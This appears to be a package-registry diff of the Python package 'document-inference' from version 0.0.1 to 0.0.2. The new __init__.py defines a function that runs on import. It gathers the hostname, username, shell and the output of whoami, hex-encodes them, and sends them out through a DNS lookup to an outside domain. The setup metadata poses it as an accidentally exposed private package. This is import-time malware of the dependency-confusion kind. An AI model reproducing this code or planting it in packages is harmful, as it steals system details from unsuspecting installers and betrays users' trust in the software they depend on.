document-inference 0.0.1__tar.gz → 0.0.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {document_inference-0.0.1 → document_inference-0.0.2}/PKG-INFO +1 -1
- document_inference-0.0.2/document_inference/__init__.py +31 -0
- {document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/PKG-INFO +1 -1
- {document_inference-0.0.1 → document_inference-0.0.2}/setup.py +1 -1
- document_inference-0.0.1/document_inference/__init__.py +0 -3
- {document_inference-0.0.1 → document_inference-0.0.2}/README.md +0 -0
- {document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/SOURCES.txt +0 -0
- {document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/dependency_links.txt +0 -0
- {document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/top_level.txt +0 -0
- {document_inference-0.0.1 → document_inference-0.0.2}/setup.cfg +0 -0
@@ -0,0 +1,31 @@
|
|
1
|
+
import os
|
2
|
+
import socket
|
3
|
+
import uuid
|
4
|
+
import base64
|
5
|
+
import subprocess
|
6
|
+
|
7
|
+
def exfiltrate():
|
8
|
+
uid = str(uuid.uuid4())[:8]
|
9
|
+
hostname = os.uname()[1]
|
10
|
+
user = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
|
11
|
+
shell = os.getenv("SHELL") or "noshell"
|
12
|
+
home = os.getenv("HOME") or "nohome"
|
13
|
+
|
14
|
+
# Optional RCE output - simple harmless cmd
|
15
|
+
try:
|
16
|
+
cmd_output = subprocess.check_output(["whoami"], stderr=subprocess.DEVNULL).decode().strip()
|
17
|
+
except Exception:
|
18
|
+
cmd_output = "fail"
|
19
|
+
|
20
|
+
# Compress & limit payload (DNS-safe)
|
21
|
+
marker = "docinf"
|
22
|
+
data = f"{uid}:{hostname}:{user}:{shell}:{cmd_output}:{marker}"
|
23
|
+
hexdata = base64.b16encode(data.encode()).decode().lower()[:50] # DNS label limit
|
24
|
+
|
25
|
+
try:
|
26
|
+
# Send DNS request to your Bind9 server
|
27
|
+
socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
|
28
|
+
except Exception:
|
29
|
+
pass
|
30
|
+
|
31
|
+
exfiltrate()
|
@@ -3,7 +3,7 @@ from setuptools import setup, find_packages
|
|
3
3
|
|
4
4
|
setup(
|
5
5
|
name="document-inference",
|
6
|
-
version="0.0.
|
6
|
+
version="0.0.2",
|
7
7
|
description="Internal Document Analysis Package",
|
8
8
|
long_description="Private package accidentally exposed",
|
9
9
|
long_description_content_type="text/markdown",
|
File without changes
|
{document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/SOURCES.txt
RENAMED
File without changes
|
File without changes
|
{document_inference-0.0.1 → document_inference-0.0.2}/document_inference.egg-info/top_level.txt
RENAMED
File without changes
|
File without changes
|